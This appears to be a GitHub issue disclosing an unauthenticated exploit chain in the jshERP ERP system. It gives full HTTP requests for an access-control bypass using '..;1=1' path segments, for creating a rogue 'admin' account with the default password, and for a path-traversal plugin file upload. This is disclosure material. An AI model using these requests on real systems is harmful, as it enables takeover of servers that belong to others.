Skip to content

Unauthenticated remote command execution still exists in jsh_erp after patching #132

@Fushuling

Description

@Fushuling

Unauthenticated remote command execution still exists in jsh_erp after patching

[Suggested description]

Even after being patched, jsh_erp still contains an unauthenticated remote command execution vulnerability due to improper access control.

[Vulnerability Type]

Incorrect access control / Remote Code Execution (RCE)

[Vendor of Product]

https://github.com/jishenghua/jshERP

[Affected Product Code Base]

latest (commit [fbda24d](https://github.com/jishenghua/jshERP/commit/fbda24da30997df1f642a1878272d7278ccd94ce))

[Attack Type]

Remote, unauthenticated

[Vulnerability details]

First, the interface authentication bypass still exists. Even if %2e and %2E are filtered, the attacker can still bypass the patch by filling characters after the semicolon.

Normally, the interface /jshERP-boot/account/findBySelect cannot be accessed

An attacker can gain unauthorized access by constructing the payload /jshERP-boot/webjars/swagger-ui/css/..;1=1/..;1=1/..;1=1/account/findBySelect

GET /jshERP-boot/webjars/swagger-ui/css/..;1=1/..;1=1/..;1=1/account/findBySelect HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:3000/dashboard/analysis
Sec-GPC: 1
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i


Looking at the database, we can see that the hash of the password 123456 is e10adc3949ba59abbe56e057f20f883e. Now that I have changed the admin password, I cannot log in to the administrator account using 123456.

Now we can create a user with username and login_name both as admin through the interface /user/add

POST /jshERP-boot/webjars/swagger-ui/css/..;1=1/..;1=1/..;1=1/user/add HTTP/1.1
Host: localhost:3000
If-None-Match: W/"4eb6-WjZskHod5Qc28kSz2qzMbH8uzs0"
Purpose: prefetch
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Sec-Purpose: prefetch
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.102:3000/login
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 76

{
"id":"1",
"username":"admin",
"login_name":"admin",
"tenant_id":"0"
}

Now we can see that a new user with id 1, login_name admin and password 123456 has been created in the database.

Now we can use admin 123456 to log in to the background

HTTP/1.1 200 OK
X-Powered-By: Express
content-type: application/json;charset=UTF-8
date: Thu, 14 Aug 2025 16:57:17 GMT
connection: close
Content-Length: 380

{"code":200,"data":{"pwdSimple":true,"user":{"id":1,"username":"admin","loginName":"admin","password":null,"leaderFlag":"0","position":null,"department":null,"email":null,"phonenum":null,"ismanager":1,"isystem":0,"status":0,"description":null,"remark":null,"weixinOpenId":null,"tenantId":0,"deleteFlag":"0"},"msgTip":"user can login","token":"c5ea0d60508f4533b5f816a8e5eebf6a_0"}}

Since the deployment plugin actually only checks whether the logged in user name is admin, we can now deploy the plugin again through this user

POST /jshERP-boot/plugin/uploadPluginConfigFile HTTP/1.1
Host: 192.168.110.69:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------64343665641219398361207370473
X-Access-Token: c5ea0d60508f4533b5f816a8e5eebf6a_0
Content-Length: 257




-----------------------------64343665641219398361207370473
Content-Disposition: form-data; name="configFile"; filename="../plugins/fushuling.txt"
Content-Type: text/plain


fushuling

-----------------------------64343665641219398361207370473--

[Discoverer(s)/Credits]

Fushuling/N1ght

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions